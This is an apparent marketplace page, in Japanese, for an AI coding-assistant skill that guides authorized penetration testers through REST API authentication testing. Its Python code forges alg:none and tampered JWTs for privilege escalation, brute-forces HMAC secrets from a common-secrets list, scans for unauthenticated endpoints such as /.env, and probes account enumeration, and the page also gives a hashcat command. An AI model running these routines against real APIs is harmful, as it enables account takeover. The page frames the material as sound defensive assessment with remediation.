mcpField
T
testing-api-authentication-weaknesses

testing-api-authentication-weaknesses

github.com/mukul975セキュリティ35.2k490 回インストール8 週間前に更新
リポジトリ

testing-api-authentication-weaknesses について

書面で許可を得たセキュリティテスター向けに、REST API の認証を評価する手順を示すスキルです。エンドポイントの確認からトークンのライフサイクルまで、JWT の弱点、未認証アクセス、セッション管理、パスワードポリシーを扱います。

主な機能

  1. 01API 認証方式の特定
  2. 02認証なしで利用できるエンドポイントの発見
  3. 03JWT の弱点の分析とテスト
  4. 04トークン失効とライフサイクルの確認
  5. 05パスワードポリシーと認証情報リスクの評価

活用シーン

  1. 01本番導入前の REST API 認証評価
  2. 02JWT 署名と鍵設定の確認
  3. 03ログアウト後のトークン無効化の検証
  4. 04意図せず公開された API エンドポイントの発見

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-authentication-weaknesses

インストール後、Claude Code で/testing-api-authentication-weaknessesを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

API 認証の弱点をテストする

使用するタイミング

  • 本番環境へのデプロイ前に、REST API の認証メカニズムに認証回避の脆弱性がないか評価する
  • JWT の実装に一般的な弱点(none アルゴリズム、鍵の取り違え、有効期限の欠落)がないかテストする
  • すべての API エンドポイントで認証が適用されているか、または意図せず公開されているものがないか評価する
  • API キーの生成、保存、ローテーションのメカニズムに予測可能性や漏えいがないかテストする
  • トークンの有効期限、失効、リフレッシュトークンのセキュリティなど、セッション管理を検証する

書面による許可なしに使用しないでください。認証テストでは、セキュリティ制御の回避を試みます。

前提条件

  • 対象 API とテスト対象の認証メカニズムを明記した書面による許可
  • 少なくとも 2 つのユーザーロール(一般ユーザー、管理者)の有効なテスト認証情報
  • JWT 関連の拡張機能(JSON Web Tokens、JWT Editor)を備えた Burp Suite Professional
  • requests、PyJWT、jwt ライブラリをインストールした Python 3.10+
  • 認証情報テスト用のワードリスト(SecLists の認証用ワードリスト)
  • API ドキュメントまたは OpenAPI 仕様

ワークフロー

ステップ 1:認証メカニズムの特定
import requests
import json

BASE_URL = "https://target-api.example.com/api/v1"

# Probe the API to identify authentication mechanisms
auth_indicators = {
    "jwt_bearer": False,
    "api_key_header": False,
    "api_key_query": False,
    "basic_auth": False,
    "oauth2": False,
    "session_cookie": False,
    "custom_token": False,
}

# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Endpoint accessible without authentication")

# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
    scheme = resp.headers["WWW-Authenticate"]
    print(f"Auth scheme advertised: {scheme}")
    if "Bearer" in scheme:
        auth_indicators["jwt_bearer"] = True
    elif "Basic" in scheme:
        auth_indicators["basic_auth"] = True

# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"username": "[email protected]", "password": "TestPass123!"})

if login_resp.status_code == 200:
    login_data = login_resp.json()
    # Check for JWT tokens
    for key in ["token", "access_token", "jwt", "id_token"]:
        if key in login_data:
            token = login_data[key]
            if token.count('.') == 2:
                auth_indicators["jwt_bearer"] = True
                print(f"JWT found in response field: {key}")
    # Check for refresh tokens
    for key in ["refresh_token", "refresh"]:
        if key in login_data:
            print(f"Refresh token found in field: {key}")
    # Check for session cookies
    for cookie in login_resp.cookies:
        print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
        if "session" in cookie.name.lower():
            auth_indicators["session_cookie"] = True

print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
ステップ 2:未認証エンドポイントの検出
# Test all endpoints without authentication
endpoints = [
    ("GET", "/users"),
    ("GET", "/users/me"),
    ("GET", "/users/1"),
    ("GET", "/admin/users"),
    ("GET", "/admin/settings"),
    ("GET", "/health"),
    ("GET", "/metrics"),
    ("GET", "/debug"),
    ("GET", "/actuator"),
    ("GET", "/actuator/env"),
    ("GET", "/swagger.json"),
    ("GET", "/api-docs"),
    ("GET", "/graphql"),
    ("POST", "/graphql"),
    ("GET", "/config"),
    ("GET", "/internal/status"),
    ("GET", "/.env"),
    ("GET", "/status"),
    ("GET", "/info"),
    ("GET", "/version"),
]

print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
    try:
        resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
        if resp.status_code not in (401, 403):
            content_preview = resp.text[:100] if resp.text else "empty"
            print(f"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
    except requests.exceptions.RequestException:
        pass
ステップ 3:JWT トークンの分析
import base64
import json
import hmac
import hashlib

def decode_jwt_parts(token):
    """Decode JWT header and payload without verification."""
    parts = token.split('.')
    if len(parts) != 3:
        return None, None

    def pad_base64(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
    return header, payload

# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)

print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")

# Security checks
issues = []

# Check 1: Algorithm
if header.get("alg") == "none":
    issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
    issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")

# Check 2: Expiration
if "exp" not in payload:
    issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
    import time
    exp_time = payload["exp"]
    ttl = exp_time - time.time()
    if ttl > 86400:
        issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")

# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
    if field in payload:
        issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")

# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
    issues.append(f"MEDIUM: Missing standard claims: {missing}")

# Check 5: Key ID
if "kid" in header:
    kid = header["kid"]
    # Test for path traversal in kid
    issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")

for issue in issues:
    print(f"  [{issue.split(':')[0]}] {issue}")
ステップ 4:JWT 操作攻撃
# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
    """Create a token with alg:none to bypass signature verification."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    header['alg'] = 'none'
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    # Variations of the none algorithm
    return [
        f"{new_header}.{parts[1]}.",
        f"{new_header}.{parts[1]}.{parts[2]}",
        f"{new_header}.{parts[1]}.e30",
    ]

# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
    """Modify payload claims and test if server validates signature."""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    payload_data.update(modifications)
    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload_data).encode()).decode().rstrip('=')
    return f"{parts[0]}.{new_payload}.{parts[2]}"

# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
    "secret", "password", "123456", "jwt_secret", "supersecret",
    "key", "test", "admin", "changeme", "default",
    "your-256-bit-secret", "my-secret-key", "jwt-secret",
    "s3cr3t", "secret123", "mysecretkey", "apisecret",
]

def brute_force_jwt_secret(token):
    """Try common secrets against HMAC-signed JWTs."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
        print("Not an HMAC token, skipping brute force")
        return None

    signing_input = f"{parts[0]}.{parts[1]}".encode()
    signature = parts[2]

    hash_func = {
        'HS256': hashlib.sha256,
        'HS384': hashlib.sha384,
        'HS512': hashlib.sha512
    }[header['alg']]

    for secret in COMMON_JWT_SECRETS:
        expected_sig = base64.urlsafe_b64encode(
            hmac.new(secret.encode(), signing_input, hash_func).digest()
        ).decode().rstrip('=')
        if expected_sig == signature:
            print(f"[CRITICAL] JWT secret found: '{secret}'")
            return secret

    print("No common secrets matched - consider using hashcat/john for extended brute force")
    return None

# Test all attacks
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
    resp = requests.get(f"{BASE_URL}/users/me",
                       headers={"Authorization": f"Bearer {none_token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] alg:none bypass successful")

# Test privilege escalation via claim modification
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
                   headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
    print("[CRITICAL] JWT claim modification accepted without signature validation")

brute_force_jwt_secret(token)
ステップ 5:トークンのライフサイクルテスト
# Test 1: Token reuse after logout
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
    headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")

# Try to use the token after logout
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
    print("[HIGH] Token still valid after logout - no server-side revocation")

# Test 2: Token reuse after password change
# (requires changing password and then testing old token)

# Test 3: Refresh token rotation
refresh_token = login_data.get("refresh_token")
if refresh_token:
    # Use refresh token
    refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    new_tokens = refresh_resp.json()

    # Try to reuse the same refresh token (should fail if rotation is implemented)
    reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    if reuse_resp.status_code == 200:
        print("[HIGH] Refresh token reuse allowed - no rotation implemented")

# Test 4: Token in URL (leakage risk)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
    print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")
ステップ 6:パスワードポリシーと認証情報のテスト
# Test password policy enforcement on registration/change endpoints
weak_passwords = [
    "a",           # Too short
    "password",    # Common password
    "12345678",    # Numeric only
    "abcdefgh",    # Alpha only, no complexity
    "Password1",   # Meets basic complexity but is common
    "",            # Empty
    " ",           # Whitespace
]

for pwd in weak_passwords:
    resp = requests.post(f"{BASE_URL}/auth/register",
        json={"email": f"test_{hash(pwd)%9999}@example.com",
              "password": pwd, "name": "Test User"})
    if resp.status_code in (200, 201):
        print(f"[WEAK POLICY] Password accepted: '{pwd}'")

# Test account enumeration via login response differences
valid_email = "[email protected]"
invalid_email = "[email protected]"

resp_valid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": invalid_email, "password": "wrongpassword"})

if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
    print(f"[MEDIUM] Account enumeration possible:")
    print(f"  Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
    print(f"  Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")

主要な概念

用語定義
認証の不備OWASP API2:2023 - 攻撃者が正当なユーザーになりすますことを可能にする、認証メカニズムの弱点
JWT(JSON Web Token)ヘッダー、ペイロード、署名で構成される自己完結型のトークン形式。ステートレスな API 認証に使用されます
トークンの失効有効期限前にトークンを無効化するサーバー側のメカニズム。ログアウトやパスワード変更に不可欠です
クレデンシャルスタッフィング漏えいしたユーザー名とパスワードの組み合わせを認証エンドポイントに対して使用する自動攻撃
アカウントの列挙有効なアカウントと無効なアカウントで異なるエラーメッセージや応答時間を利用し、有効なユーザー名を特定すること
リフレッシュトークンのローテーションリフレッシュトークンを使用するたびに新しいトークンを生成し、トークンの再利用攻撃を防ぐセキュリティ対策

ツールとシステム

  • Burp Suite JWT Editor:さまざまな攻撃モードを使って JWT トークンをデコード、編集、再署名するための拡張機能
  • jwt_tool:alg:none、鍵の取り違え、JWKS スプーフィングなど、12 種類以上の攻撃モードを備えた JWT テスト用 Python ツール
  • hashcat:JWT HMAC シークレットの総当たり攻撃(モード 16500)に対応する、GPU アクセラレーション対応のパスワード解析ツール
  • Hydra:HTTP フォームベースおよび API 認証テストに対応する、ネットワークログインの総当たり攻撃ツール
  • Nuclei:認証回避の検出テンプレートを備えた、テンプレートベースのスキャナー

一般的なシナリオ

シナリオ:SaaS プラットフォーム API 認証の評価

コンテキスト:SaaS プラットフォームでは、API 認証に JWT トークンを使用しています。JWT はログイン時に発行され、その後のすべての API 呼び出しで使用されます。リフレッシュトークンの仕組みも実装されています。

アプローチ:

  1. 認証して JWT を取得します。アルゴリズムは HS256、有効期限は 7 日間で、ペイロードにはユーザーのロールが含まれています
  2. alg:none によるバイパスをテストします。サーバーはトークンを拒否します(安全です)
  3. HMAC シークレットを総当たりします。「company-jwt-secret-2023」というシークレットを特定します(カスタムワードリストを使って hashcat で発見)
  4. 特定したシークレットを使い、管理者ロールの JWT を偽造します。すべてのエンドポイントへの管理者アクセスを取得します
  5. トークンの失効をテストします。ログアウト後やパスワード変更後もトークンは有効なままです(ブラックリストなし)
  6. リフレッシュトークンをテストします。リフレッシュトークンに有効期限がなく、無期限に再利用できます
  7. パスワードリセットエンドポイントが、有効なメールアドレスと無効なメールアドレスで異なるメッセージを返すことを確認します
  8. /health および /metrics エンドポイントに認証なしでアクセスできることを発見します

注意点:

  • ログインエンドポイントだけをテストし、パスワードリセット、MFA、トークン更新のフローにおける認証の弱点を見落とすこと
  • JWT シークレットがすべての環境(開発、ステージング、本番)で同じかどうかを確認しないこと
  • トークンの有効期間を無視すること。有効期限が 7 日間で失効の仕組みがない JWT は、盗まれると 1 週間有効です
  • サーバーログ、URL パラメーター、エラーメッセージにおけるトークン漏えいをテストしないこと

出力形式

## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable

**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
  - POST /api/v1/auth/login (token issuance)
  - All authenticated endpoints (token validation)
  - POST /api/v1/auth/logout (ineffective)

**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.

**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts

**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services

コメント